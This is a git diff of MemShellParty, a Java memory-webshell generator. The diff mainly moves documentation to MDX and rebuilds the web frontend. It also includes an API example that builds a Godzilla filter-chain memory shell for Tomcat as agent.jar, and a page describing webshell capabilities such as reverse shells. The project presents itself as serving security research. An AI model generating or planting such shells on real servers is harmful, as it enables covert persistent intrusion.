ShellConfig.builder() + .server(Server.Tomcat) + .shellTool(ShellTool.Godzilla) + .shellType(ShellType.AGENT_FILTER_CHAIN) + .shrink(true) // 缩小字节码 + .debug(false) // 关闭调试 + .build(); + +InjectorConfig injectorConfig = InjectorConfig.builder() +// .urlPattern("/*") // 自定义 urlPattern,默认就是 /* +// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成 +// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成 + .build(); + +GodzillaConfig godzillaConfig = GodzillaConfig.builder() +// .pass("pass") +// .key("key") +// .headerName("User-Agent") +// .headerValue("test") + .build(); + +GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); + +System.out.println("注入器类名:" + result.getInjectorClassName()); +System.out.println("内存马类名:" + result.getShellClassName()); + +System.out.println(result.getShellConfig()); +System.out.println(result.getShellToolConfig()); + +byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result); +Files.write(Paths.get("agent.jar"), agentJarBytes); +``` + +**封装统一生成接口可参考 [MemShellGeneratorController.java](https://github.com/ReaJason/MemShellParty/blob/master/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java)** diff --git a/docs/BuildOnLocal.md b/web/content/docs/self-build.mdx similarity index 98% rename from docs/BuildOnLocal.md rename to web/content/docs/self-build.mdx index 0c647c8a..f356b5ca 100644 --- a/docs/BuildOnLocal.md +++ b/web/content/docs/self-build.mdx @@ -1,4 +1,7 @@ -## 本地构建 +--- +title: 编译打包 +icon: Package +--- ### 源代码构建 diff --git a/web/content/docs/self-host.mdx b/web/content/docs/self-host.mdx new file mode 100644 index 00000000..412e8dd9 --- /dev/null +++ b/web/content/docs/self-host.mdx @@ -0,0 +1,63 @@ +--- +title: 本地部署 +description: 部署你专有的 MemShellParty +icon: Rocket +--- + +import { Tab, Tabs } from 'fumadocs-ui/components/tabs'; + +## Docker 部署 + +> 适合内网或本地快速部署,直接使用 Docker 启动服务方便快捷 + +使用 docker 部署之后,使用浏览器访问:http://127.0.0.1:8080 + + + +```bash +docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest +``` + + +```bash +docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest +``` + + +```bash +docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest +``` + + + +镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了 + +```bash +# 移除之前部署的 +docker rm -f memshell-party + +# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署) +docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest +``` + +## Jar 包部署 + +下载最新 [release](https://github.com/ReaJason/MemShellParty/releases) 的 boot-x.x.x.jar 包 + +使用 JDK17 启动 jar 包,并使用浏览器访问:http://127.0.0.1:8080 + +```bash +java -jar --add-opens=java.base/java.util=ALL-UNNAMED \ + --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ + --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ + boot-x.x.x.jar +``` + +如果存在端口冲突,需要自定义服务端口,使用如下命令: `--server.port=自定义端口` + +```bash +java -jar --add-opens=java.base/java.util=ALL-UNNAMED \ + --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ + --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ + boot-x.x.x.jar --server.port=999 +``` \ No newline at end of file diff --git a/docs/ServerIntro.md b/web/content/docs/server-intro.mdx similarity index 99% rename from docs/ServerIntro.md rename to web/content/docs/server-intro.mdx index 4251befa..3b383932 100644 --- a/docs/ServerIntro.md +++ b/web/content/docs/server-intro.mdx @@ -1,4 +1,7 @@ -# Java 服务简介 +--- +title: 目标服务 +icon: Server +--- 以下服务仅我个人遇到的一些场景,与实际攻防场景可能仍有差距,但是在 MemShellParty 中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充,欢迎 PR 交流学习~ diff --git a/web/content/docs/structure.mdx b/web/content/docs/structure.mdx new file mode 100644 index 00000000..18034803 --- /dev/null +++ b/web/content/docs/structure.mdx @@ -0,0 +1,5 @@ +--- +title: 项目结构 +--- + +hello \ No newline at end of file diff --git a/docs/WhatIsMemShell.md b/web/content/docs/what-is-memshell.mdx similarity index 98% rename from docs/WhatIsMemShell.md rename to web/content/docs/what-is-memshell.mdx index c8312f8c..2b044b12 100644 --- a/docs/WhatIsMemShell.md +++ b/web/content/docs/what-is-memshell.mdx @@ -1,4 +1,6 @@ -# Java 内存马简介 +--- +title: 介绍 +--- Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。 @@ -10,7 +12,7 @@ webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目 常见的 webshell 功能包括: -1. 命令回显,反弹 unix shell +1. 命令回显,反弹 unix shell。 2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。 3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。 diff --git a/web/content/docs/what-is-probeshell.mdx b/web/content/docs/what-is-probeshell.mdx new file mode 100644 index 00000000..b62107c4 --- /dev/null +++ b/web/content/docs/what-is-probeshell.mdx @@ -0,0 +1,3 @@ +--- +title: Java 回显马介绍 +--- diff --git a/web/copy-build.js b/web/copy-build.js index 7d335cc8..b020ec7d 100644 --- a/web/copy-build.js +++ b/web/copy-build.js @@ -1,11 +1,4 @@ -import { - existsSync, - mkdirSync, - readdirSync, - readFileSync, - rmSync, - writeFileSync, -} from "node:fs"; +import { existsSync, mkdirSync, readdirSync, rmSync, statSync } from "node:fs"; import { cp } from "node:fs/promises"; import { join, resolve } from "node:path"; @@ -13,13 +6,37 @@ const BASE_DIR = resolve("../boot/src/main/resources"); const STATIC_DIR = join(BASE_DIR, "static"); const ASSETS_DIR = join(STATIC_DIR, "assets"); const TEMPLATES_DIR = join(BASE_DIR, "templates"); -const SRC_DIR = resolve("dist"); +const BUILD_DIR = resolve("build/client"); +const BUILD_ASSERTS_DIR = join(BUILD_DIR, "assets"); -async function main() { - console.log("Copy assets into SpringBoot resources"); +function findUiDirectory(baseDir, maxDepth = 5) { + function search(currentDir, depth) { + if (depth > maxDepth) return null; + + const entries = readdirSync(currentDir); + + for (const entry of entries) { + const fullPath = join(currentDir, entry); + + if (!statSync(fullPath).isDirectory()) continue; + + if (entry === "ui") { + return fullPath; + } + + const found = search(fullPath, depth + 1); + if (found) return found; + } + + return null; + } - if (!existsSync(SRC_DIR)) { - console.error(`Error: ${SRC_DIR} does not exist`); + return search(baseDir, 0); +} + +async function main() { + if (!existsSync(BUILD_DIR)) { + console.error(`Error: ${BUILD_DIR} does not exist`); process.exit(1); } @@ -34,31 +51,19 @@ async function main() { } try { - if (existsSync(join(SRC_DIR, "vite.svg"))) { - await cp(join(SRC_DIR, "vite.svg"), join(STATIC_DIR, "vite.svg")); - } - - const assetsSourceDir = join(SRC_DIR, "assets"); - if (existsSync(assetsSourceDir)) { - await cp(assetsSourceDir, ASSETS_DIR, { recursive: true }); - } + await cp(join(BUILD_DIR, "favicon.ico"), join(STATIC_DIR, "favicon.ico")); + await cp(BUILD_ASSERTS_DIR, ASSETS_DIR, { recursive: true }); } catch (err) { console.error("Error copying assets:", err); process.exit(1); } - const INDEX_SRC = join(SRC_DIR, "index.html"); - const INDEX_DEST = join(TEMPLATES_DIR, "index.html"); - - if (!existsSync(INDEX_SRC)) { - console.error( - `Error: ${INDEX_SRC} does not exist. Make sure you built the frontend project first.`, - ); + const uiDir = findUiDirectory(BUILD_DIR); + if (!uiDir) { + console.error(`Error: ui directory not found in ${BUILD_DIR}`); process.exit(1); } - - const htmlContent = readFileSync(INDEX_SRC, "utf8"); - writeFileSync(INDEX_DEST, htmlContent); + await cp(uiDir, join(TEMPLATES_DIR), { recursive: true }); console.log("SpringBoot resources updated successfully"); } diff --git a/web/index.html b/web/index.html deleted file mode 100644 index 40fecd5c..00000000 --- a/web/index.html +++ /dev/null @@ -1,14 +0,0 @@ - - - - - - - MemShellParty - - - -
    - - - diff --git a/web/package.json b/web/package.json index 5a17259b..8b3fa097 100644 --- a/web/package.json +++ b/web/package.json @@ -1,58 +1,62 @@ { "name": "web", - "version": "0.0.0", "private": true, "type": "module", "scripts": { - "typecheck": "tsc -b --noEmit", - "dev": "vite --port=3001", - "build": "tsc -b && vite build --mode production && bun run copy-build.js", - "build:analyze": "vite build --mode production --outDir dist/analyze && npx vite-bundle-visualizer", - "preview": "vite preview", - "clean": "rimraf dist", - "lint": "bunx @biomejs/biome check ./", - "lint:fix": "bunx @biomejs/biome check ./ --write" - }, - "devDependencies": { - "@biomejs/biome": "2.1.4", - "@react-router/dev": "^7.9.6", - "@types/node": "^24.10.1", - "@types/react": "^19.2.6", - "@types/react-copy-to-clipboard": "^5.0.7", - "@types/react-dom": "^19.2.3", - "@types/react-syntax-highlighter": "^15.5.13", - "@vitejs/plugin-react": "^5.1.1", - "rimraf": "^6.1.0", - "tailwindcss": "^4.1.17", - "typescript": "^5.9.3", - "vite": "^7.2.2", - "vite-bundle-visualizer": "^1.2.1" + "build": "react-router build --mode production && bun run copy-build.js", + "dev": "react-router dev", + "start": "serve ./build/client", + "types:check": "react-router typegen && fumadocs-mdx && tsc --noEmit", + "postinstall": "fumadocs-mdx", + "lint": "biome check", + "format": "biome format --write" }, "dependencies": { "@hookform/resolvers": "^5.2.2", - "@tailwindcss/vite": "^4.1.17", - "@tanstack/react-query": "^5.90.10", + "@orama/orama": "^3.1.16", + "@orama/stopwords": "^3.1.16", + "@orama/tokenizers": "^3.1.16", + "@react-router/node": "^7.10.1", + "@tanstack/react-query": "^5.90.12", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", - "framer-motion": "^12.23.24", - "i18next": "^25.6.3", - "lucide-react": "^0.539.0", - "motion": "^12.23.24", + "framer-motion": "^12.23.25", + "fumadocs-core": "16.2.3", + "fumadocs-mdx": "14.1.0", + "fumadocs-ui": "16.2.3", + "i18next": "^25.7.1", + "isbot": "^5.1.32", + "lucide-react": "^0.556.0", + "motion": "^12.23.25", "radix-ui": "^1.4.3", - "react": "^19.2.0", + "react": "^19.2.1", "react-copy-to-clipboard": "^5.1.0", - "react-dom": "^19.2.0", - "react-hook-form": "^7.66.1", - "react-i18next": "^15.7.4", - "react-router": "^7.9.6", - "react-router-dom": "^7.9.6", - "react-syntax-highlighter": "^15.6.6", + "react-dom": "^19.2.1", + "react-hook-form": "^7.68.0", + "react-i18next": "^16.4.0", + "react-syntax-highlighter": "^16.1.0", "sonner": "^2.0.7", "tailwind-merge": "^3.4.0", "tw-animate-css": "^1.4.0", "yup": "^1.7.1" }, - "trustedDependencies": [ - "@biomejs/biome" - ] + "devDependencies": { + "@biomejs/biome": "^2.3.8", + "@react-router/dev": "^7.10.1", + "@tailwindcss/vite": "^4.1.17", + "@types/mdx": "^2.0.13", + "@types/node": "^24.10.1", + "@types/react": "^19.2.7", + "@types/react-copy-to-clipboard": "^5.0.7", + "@types/react-dom": "^19.2.3", + "@types/react-syntax-highlighter": "^15.5.13", + "react-router-devtools": "^6.0.0", + "rimraf": "^6.1.2", + "serve": "^14.2.5", + "tailwindcss": "^4.1.17", + "typescript": "^5.9.3", + "vite": "^7.2.6", + "vite-plugin-devtools-json": "^1.0.0", + "vite-tsconfig-paths": "^5.1.4" + } } diff --git a/web/public/favicon.ico b/web/public/favicon.ico new file mode 100644 index 00000000..5dbdfcdd Binary files /dev/null and b/web/public/favicon.ico differ diff --git a/web/public/vite.svg b/web/public/vite.svg deleted file mode 100644 index 56433b59..00000000 --- a/web/public/vite.svg +++ /dev/null @@ -1,18 +0,0 @@ - \ No newline at end of file diff --git a/web/react-router.config.ts b/web/react-router.config.ts new file mode 100644 index 00000000..5a708e04 --- /dev/null +++ b/web/react-router.config.ts @@ -0,0 +1,22 @@ +import { glob } from "node:fs/promises"; +import { env } from "node:process"; +import type { Config } from "@react-router/dev/config"; +import { createGetUrl, getSlugs } from "fumadocs-core/source"; + +const getUrl = createGetUrl("/docs"); + +export default { + basename: env.VITE_APP_BASE_PATH, + ssr: false, + async prerender({ getStaticPaths }) { + const paths: string[] = []; + const excluded: string[] = []; + for (const path of getStaticPaths()) { + if (!excluded.includes(path)) paths.push(path); + } + for await (const entry of glob("**/*.mdx", { cwd: "content/docs" })) { + paths.push(getUrl(getSlugs(entry))); + } + return paths; + }, +} satisfies Config; diff --git a/web/serve.json b/web/serve.json new file mode 100644 index 00000000..47a1ad9f --- /dev/null +++ b/web/serve.json @@ -0,0 +1,3 @@ +{ + "rewrites": [{ "source": "/**", "destination": "/index.html" }] +} diff --git a/web/source.config.ts b/web/source.config.ts new file mode 100644 index 00000000..86cfaf98 --- /dev/null +++ b/web/source.config.ts @@ -0,0 +1,6 @@ +import { defineConfig, defineDocs } from "fumadocs-mdx/config"; +export const docs = defineDocs({ + dir: "content/docs", +}); + +export default defineConfig({}); diff --git a/web/src/components/layouts/root-layout.tsx b/web/src/components/layouts/root-layout.tsx deleted file mode 100644 index e56303d7..00000000 --- a/web/src/components/layouts/root-layout.tsx +++ /dev/null @@ -1,59 +0,0 @@ -import { useTranslation } from "react-i18next"; -import { NavLink } from "react-router"; -import { Outlet } from "react-router-dom"; -import { LanguageSwitcher } from "@/components/language-switcher"; -import { ModeToggle } from "@/components/mode-toggle.tsx"; -import { ThemeProvider } from "@/components/theme-provider.tsx"; -import { Button } from "@/components/ui/button"; -import { Toaster } from "@/components/ui/sonner"; -import { GitHubIcon } from "@/icon"; -import { siteConfig } from "@/lib/config"; -import { MobileNav } from "../modile-nav"; - -export default function RootLayout() { - const { t } = useTranslation("common"); - return ( - - -
    -
    -
    - -
    - - {siteConfig.name} - -
    - -
    - - - -
    -
    -
    -
    - -
    -
    -
    - ); -} diff --git a/web/src/components/memshell/tabs/command-tab.tsx b/web/src/components/memshell/tabs/command-tab.tsx deleted file mode 100644 index 0842a49d..00000000 --- a/web/src/components/memshell/tabs/command-tab.tsx +++ /dev/null @@ -1,139 +0,0 @@ -import { useQuery } from "@tanstack/react-query"; -import { FormProvider, type UseFormReturn } from "react-hook-form"; -import { useTranslation } from "react-i18next"; -import { Card, CardContent } from "@/components/ui/card"; -import { - FormControl, - FormField, - FormFieldItem, - FormFieldLabel, -} from "@/components/ui/form"; -import { Input } from "@/components/ui/input"; -import { - Select, - SelectContent, - SelectItem, - SelectTrigger, - SelectValue, -} from "@/components/ui/select"; -import { TabsContent } from "@/components/ui/tabs"; -import { env } from "@/config"; -import type { MemShellFormSchema } from "@/types/schema"; -import { OptionalClassFormField } from "./classname-field"; -import { ShellTypeFormField } from "./shelltype-field"; -import { UrlPatternFormField } from "./urlpattern-field"; - -export function CommandTabContent({ - form, - shellTypes, -}: Readonly<{ - form: UseFormReturn; - shellTypes: Array; -}>) { - const { t } = useTranslation(["memshell", "common"]); - const { data } = useQuery<{ - encryptors: Array; - implementationClasses: Array; - }>({ - queryKey: ["commandConfigs"], - queryFn: async () => { - const response = await fetch(`${env.API_URL}/config/command/configs`); - return await response.json(); - }, - }); - - return ( - - - - -
    - - -
    - ( - - - {t("common:paramName")} {t("common:optional")} - - - - - - )} - /> -
    - ( - - {t("common:encryptor")} - - - )} - /> - ( - - - {t("common:implementationClass")} - - - - )} - /> -
    - -
    -
    -
    -
    - ); -} diff --git a/web/src/components/mode-toggle.tsx b/web/src/components/mode-toggle.tsx deleted file mode 100644 index a47d8fe4..00000000 --- a/web/src/components/mode-toggle.tsx +++ /dev/null @@ -1,37 +0,0 @@ -import { Moon, Sun } from "lucide-react"; - -import { useTheme } from "@/components/theme-provider"; -import { Button } from "@/components/ui/button"; -import { - DropdownMenu, - DropdownMenuContent, - DropdownMenuItem, - DropdownMenuTrigger, -} from "@/components/ui/dropdown-menu"; - -export function ModeToggle() { - const { setTheme } = useTheme(); - - return ( - - - - - - setTheme("light")}> - Light - - setTheme("dark")}> - Dark - - setTheme("system")}> - System - - - - ); -} diff --git a/web/src/components/modile-nav.tsx b/web/src/components/modile-nav.tsx deleted file mode 100644 index 1ee918ba..00000000 --- a/web/src/components/modile-nav.tsx +++ /dev/null @@ -1,109 +0,0 @@ -import React from "react"; -import { NavLink } from "react-router"; -import { Button } from "@/components/ui/button"; -import { - Popover, - PopoverContent, - PopoverTrigger, -} from "@/components/ui/popover"; -import { cn } from "@/lib/utils"; - -export function MobileNav({ - items, - className, -}: Readonly<{ - items: { href: string; label: string }[]; - className?: string; -}>) { - const [open, setOpen] = React.useState(false); - - return ( - - - - - -
    -
    -
    - Menu -
    -
    - - Home - - {items.map((item) => ( - - {item.label} - - ))} -
    -
    -
    -
    -
    - ); -} - -function MobileLink({ - href, - className, - children, - onOpenChange, - ...props -}: Readonly<{ - href: string; - onOpenChange?: (open: boolean) => void; - children: React.ReactNode; - className?: string; -}>) { - return ( - { - onOpenChange?.(false); - }} - className={cn("text-2xl font-medium", className)} - {...props} - > - {children} - - ); -} diff --git a/web/src/components/probeshell/basic-info.tsx b/web/src/components/probeshell/basic-info.tsx deleted file mode 100644 index 7b5a9c4e..00000000 --- a/web/src/components/probeshell/basic-info.tsx +++ /dev/null @@ -1,34 +0,0 @@ -import { FileTextIcon } from "lucide-react"; -import { useTranslation } from "react-i18next"; -import { CopyableField } from "@/components/copyable-field"; -import { FeedbackAlert } from "@/components/memshell/results/feedback-alert"; -import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; -import type { ProbeShellResult } from "@/types/probeshell"; - -export function BasicInfo({ - generateResult, -}: Readonly<{ generateResult?: ProbeShellResult }>) { - const { t } = useTranslation(); - return ( - - - -
    - - {t("common:basicInfo")} -
    - -
    -
    - -
    - -
    -
    -
    - ); -} diff --git a/web/src/components/theme-provider.tsx b/web/src/components/theme-provider.tsx deleted file mode 100644 index 8603fa3e..00000000 --- a/web/src/components/theme-provider.tsx +++ /dev/null @@ -1,78 +0,0 @@ -import { createContext, useContext, useEffect, useMemo, useState } from "react"; - -type Theme = "dark" | "light" | "system"; - -type ThemeProviderProps = { - children: React.ReactNode; - defaultTheme?: Theme; - storageKey?: string; -}; - -type ThemeProviderState = { - theme: Theme; - setTheme: (theme: Theme) => void; -}; - -const initialState: ThemeProviderState = { - theme: "system", - setTheme: () => null, -}; - -const ThemeProviderContext = createContext(initialState); - -export function ThemeProvider({ - children, - defaultTheme = "system", - storageKey = "vite-ui-theme", - ...props -}: Readonly) { - const [theme, setTheme] = useState( - () => (localStorage.getItem(storageKey) as Theme) || defaultTheme, - ); - - useEffect(() => { - const root = window.document.documentElement; - const mode = "data-color-mode"; - root.classList.remove("light", "dark"); - - root.removeAttribute(mode); - if (theme === "system") { - const systemTheme = window.matchMedia("(prefers-color-scheme: dark)") - .matches - ? "dark" - : "light"; - - root.classList.add(systemTheme); - root.setAttribute(mode, systemTheme); - return; - } - root.setAttribute(mode, theme); - root.classList.add(theme); - }, [theme]); - - const value = useMemo( - () => ({ - theme, - setTheme: (theme: Theme) => { - localStorage.setItem(storageKey, theme); - setTheme(theme); - }, - }), - [theme, storageKey], - ); - - return ( - - {children} - - ); -} - -export const useTheme = () => { - const context = useContext(ThemeProviderContext); - - if (context === undefined) - throw new Error("useTheme must be used within a ThemeProvider"); - - return context; -}; diff --git a/web/src/icon.tsx b/web/src/icon.tsx deleted file mode 100644 index 5df08224..00000000 --- a/web/src/icon.tsx +++ /dev/null @@ -1,16 +0,0 @@ -export function GitHubIcon() { - return ( - - ); -} diff --git a/web/src/lib/config.ts b/web/src/lib/config.ts deleted file mode 100644 index b13d7d6b..00000000 --- a/web/src/lib/config.ts +++ /dev/null @@ -1,25 +0,0 @@ -export const siteConfig = { - name: "MemShellParty", - url: "https://party.memshell.news", - github: "https://github.com/ReaJason/MemShellParty", - latestRelease: "https://github.com/ReaJason/MemShellParty/releases/latest", - docSite: "https://github.com/ReaJason/MemShellParty/wiki", - author: "ReaJason", - authorGithub: "https://github.com/ReaJason", - authorIntro: "Java RASP Developer", - blog: "https://reajason.eu.org", - navItems: [ - { - href: "/memshell", - label: "MemShellGenerator", - }, - { - href: "/probeshell", - label: "ProbeShellGenerator", - }, - { - href: "/about", - label: "about", - }, - ], -}; diff --git a/web/src/main.tsx b/web/src/main.tsx deleted file mode 100644 index 15a63c8f..00000000 --- a/web/src/main.tsx +++ /dev/null @@ -1,23 +0,0 @@ -import ReactDOM from "react-dom/client"; -import "./index.css"; -import { I18nextProvider } from "react-i18next"; -import { RouterProvider } from "react-router-dom"; -import { TailwindIndicator } from "@/components/tailwind-indicator.tsx"; -import { env } from "@/config.ts"; -import i18n from "./i18n/i18n"; -import { QueryProvider } from "./providers/query-client-provider"; -import { router } from "./router"; - -const rootElement = document.getElementById("app") as HTMLElement; - -if (!rootElement.innerHTML) { - const root = ReactDOM.createRoot(rootElement); - root.render( - - - - {env.MODE !== "production" && } - - , - ); -} diff --git a/web/src/pages/about.tsx b/web/src/pages/about.tsx deleted file mode 100644 index a4077171..00000000 --- a/web/src/pages/about.tsx +++ /dev/null @@ -1,342 +0,0 @@ -import { useQuery } from "@tanstack/react-query"; -import { motion } from "framer-motion"; -import { - AlertCircle, - Code, - Download, - ExternalLink, - Github, - Globe, - Heart, - Mail, - Package, - Shield, - User, -} from "lucide-react"; -import { LineShadowText } from "@/components/magicui/line-shadow-text"; -import { useTheme } from "@/components/theme-provider"; -import { Alert, AlertDescription } from "@/components/ui/alert"; -import { Avatar, AvatarFallback, AvatarImage } from "@/components/ui/avatar"; -import { Badge } from "@/components/ui/badge"; -import { Button } from "@/components/ui/button"; -import { Card, CardContent, CardFooter } from "@/components/ui/card"; -import { env } from "@/config"; -import { siteConfig } from "@/lib/config"; - -type VersionInfo = { - currentVersion: string; - latestVersion: string; - hasUpdate: boolean; - releaseUrl: string; -}; - -export default function AboutPage() { - const theme = useTheme(); - const shadowColor = theme.theme === "dark" ? "#ffffff" : "#000000"; - const { - data: updateInfo, - isPending, - error, - } = useQuery({ - queryKey: ["version"], - queryFn: async () => { - const response = await fetch(`${env.API_URL}/version`); - if (response.ok) { - return await response.json(); - } - return "unknown"; - }, - }); - const inProduction = env.MODE === "production"; - - const containerVariants = { - hidden: { opacity: 0 }, - visible: { - opacity: 1, - transition: { - staggerChildren: 0.1, - }, - }, - }; - - const itemVariants = { - hidden: { opacity: 0, y: 20 }, - visible: { - opacity: 1, - y: 0, - transition: { - duration: 0.5, - }, - }, - }; - - return ( -
    -
    -
    -
    - -
    - - - For Security Research & Authorized Testing Only - -
    -

    - - MemShell - - Party - - -

    -

    - A self-hosted, visual platform for one-click generation of Java - memory shells for common middleware and frameworks. The ultimate - learning platform for security researchers. -

    -
    -
    -
    - - {updateInfo?.hasUpdate && inProduction && ( - - - - - - New version {updateInfo.latestVersion} is available! (Current:{" "} - {updateInfo.currentVersion}) - - - - - - - - )} - - -
    - - - -
    - -

    Version

    -
    -
    -
    - - Current Version - - - {updateInfo?.currentVersion || "v0.0.0"} - -
    -
    - - Latest Version - - {isPending && ( - Checking... - )} - {error && ( - {error.message} - )} - {updateInfo && !error && ( - - {updateInfo.latestVersion} - - )} -
    -
    - License - MIT License -
    -
    -
    - - - Last test time: {new Date().toLocaleString()} - - -
    -
    - - - - -
    - -

    Author

    -
    -
    -
    - - - RJ - -
    -

    - {siteConfig.author} -

    -

    - {siteConfig.authorIntro} -

    -
    -
    - -
    -
    -
    -
    -
    -
    - - -
    -
    -

    Resources & Links

    -

    - Explore documentation and contribute to the project -

    -
    -
    - - - -

    Documentation

    -

    - Comprehensive guides and API references for using - MemShellParty effectively. -

    - - Read Docs - -
    -
    - - - - -

    Source Code

    -

    - View the source code, report issues, and contribute to the - development. -

    - - View Repository - -
    -
    - - - - -

    Support

    -

    - Star the project on GitHub and share it with the security - community. -

    - - Star on GitHub - -
    -
    -
    -
    -
    - -
    -
    -
    -

    {siteConfig.name}

    -

    - Built with ❤️ by{" "} - - {siteConfig.author} - -

    -
    -
    - © 2025 {siteConfig.name}. For authorized security testing only. -
    -
    -
    -
    - ); -} diff --git a/web/src/router.tsx b/web/src/router.tsx deleted file mode 100644 index f42cff8a..00000000 --- a/web/src/router.tsx +++ /dev/null @@ -1,97 +0,0 @@ -import { createHashRouter } from "react-router-dom"; -import RootLayout from "@/components/layouts/root-layout"; -import AboutPage from "@/pages/about"; -import MemShellPage from "@/pages/memshell"; -import ProbeShellPage from "@/pages/probeshell"; -import type { MemShellFormSchema } from "@/types/schema"; - -// Function to parse URL parameters into form default values -const parseUrlParams = ( - searchParams: URLSearchParams, -): Partial => { - const result: Partial = {}; - - // Helper function to parse boolean values - const parseBoolean = (value: string | null): boolean | undefined => { - if (value === null) return undefined; - return value.toLowerCase() === "true"; - }; - - // Map URL parameters to form fields - if (searchParams.has("server")) - result.server = searchParams.get("server") ?? undefined; - if (searchParams.has("targetJdkVersion")) - result.targetJdkVersion = searchParams.get("targetJdkVersion") ?? undefined; - if (searchParams.has("debug")) - result.debug = parseBoolean(searchParams.get("debug")); - if (searchParams.has("byPassJavaModule")) - result.byPassJavaModule = parseBoolean( - searchParams.get("byPassJavaModule"), - ); - if (searchParams.has("shellClassName")) - result.shellClassName = searchParams.get("shellClassName") ?? undefined; - if (searchParams.has("shellTool")) - result.shellTool = searchParams.get("shellTool") ?? undefined; - if (searchParams.has("shellType")) - result.shellType = searchParams.get("shellType") ?? undefined; - if (searchParams.has("urlPattern")) - result.urlPattern = searchParams.get("urlPattern") ?? undefined; - if (searchParams.has("godzillaPass")) - result.godzillaPass = searchParams.get("godzillaPass") ?? undefined; - if (searchParams.has("godzillaKey")) - result.godzillaKey = searchParams.get("godzillaKey") ?? undefined; - if (searchParams.has("behinderPass")) - result.behinderPass = searchParams.get("behinderPass") ?? undefined; - if (searchParams.has("antSwordPass")) - result.antSwordPass = searchParams.get("antSwordPass") ?? undefined; - if (searchParams.has("commandParamName")) - result.commandParamName = searchParams.get("commandParamName") ?? undefined; - if (searchParams.has("headerName")) - result.headerName = searchParams.get("headerName") ?? undefined; - if (searchParams.has("headerValue")) - result.headerValue = searchParams.get("headerValue") ?? undefined; - if (searchParams.has("injectorClassName")) - result.injectorClassName = - searchParams.get("injectorClassName") ?? undefined; - if (searchParams.has("packingMethod")) - result.packingMethod = searchParams.get("packingMethod") ?? undefined; - if (searchParams.has("shrink")) - result.shrink = parseBoolean(searchParams.get("shrink")); - if (searchParams.has("shellClassBase64")) - result.shellClassBase64 = searchParams.get("shellClassBase64") ?? undefined; - - return result; -}; - -export const router = createHashRouter([ - { - path: "/", - element: , - children: [ - { - index: true, - element: , - loader: ({ request }) => { - const url = new URL(request.url); - return parseUrlParams(url.searchParams); - }, - }, - { - path: "memshell", - element: , - loader: ({ request }) => { - const url = new URL(request.url); - return parseUrlParams(url.searchParams); - }, - }, - { - path: "probeshell", - element: , - }, - { - path: "about", - element: , - }, - ], - }, -]); diff --git a/web/tsconfig.app.json b/web/tsconfig.app.json deleted file mode 100644 index 03b19cae..00000000 --- a/web/tsconfig.app.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "compilerOptions": { - "target": "ES2020", - "useDefineForClassFields": true, - "lib": ["ES2020", "DOM", "DOM.Iterable"], - "module": "ESNext", - "skipLibCheck": true, - "moduleResolution": "bundler", - "allowImportingTsExtensions": true, - "isolatedModules": true, - "moduleDetection": "force", - "noEmit": true, - "jsx": "react-jsx", - "strict": true, - "noUnusedLocals": true, - "noUnusedParameters": true, - "noFallthroughCasesInSwitch": true, - "baseUrl": ".", - "paths": { - "@/*": ["./src/*"] - }, - "allowSyntheticDefaultImports": true - }, - "include": ["src"] -} diff --git a/web/tsconfig.json b/web/tsconfig.json index 1e173931..0a4a5b23 100644 --- a/web/tsconfig.json +++ b/web/tsconfig.json @@ -1,17 +1,28 @@ { - "files": [], - "references": [ - { - "path": "./tsconfig.app.json" - }, - { - "path": "./tsconfig.node.json" - } + "include": [ + "**/*", + "**/.server/**/*", + "**/.client/**/*", + ".react-router/types/**/*" ], "compilerOptions": { + "lib": ["DOM", "DOM.Iterable", "ES2022"], + "types": ["node", "vite/client"], + "target": "esnext", + "module": "esnext", + "moduleResolution": "bundler", + "jsx": "react-jsx", + "rootDirs": [".", "./.react-router/types"], "baseUrl": ".", "paths": { - "@/*": ["./src/*"] - } + "@/*": ["./app/*"], + "fumadocs-mdx:collections/*": [".source/*"] + }, + "esModuleInterop": true, + "verbatimModuleSyntax": true, + "noEmit": true, + "resolveJsonModule": true, + "skipLibCheck": true, + "strict": true } } diff --git a/web/tsconfig.node.json b/web/tsconfig.node.json deleted file mode 100644 index 8e5b203b..00000000 --- a/web/tsconfig.node.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "compilerOptions": { - "target": "ES2022", - "lib": ["ES2023"], - "module": "ESNext", - "skipLibCheck": true, - "moduleResolution": "bundler", - "allowImportingTsExtensions": true, - "isolatedModules": true, - "moduleDetection": "force", - "noEmit": true, - "strict": true, - "noUnusedLocals": true, - "noUnusedParameters": true, - "noFallthroughCasesInSwitch": true - }, - "include": ["vite.config.ts"] -} diff --git a/web/vite.config.ts b/web/vite.config.ts index e8f04cd8..a54e5992 100644 --- a/web/vite.config.ts +++ b/web/vite.config.ts @@ -1,31 +1,21 @@ -import path from "node:path"; import { env } from "node:process"; +import { reactRouter } from "@react-router/dev/vite"; import tailwindcss from "@tailwindcss/vite"; -import react from "@vitejs/plugin-react"; +import mdx from 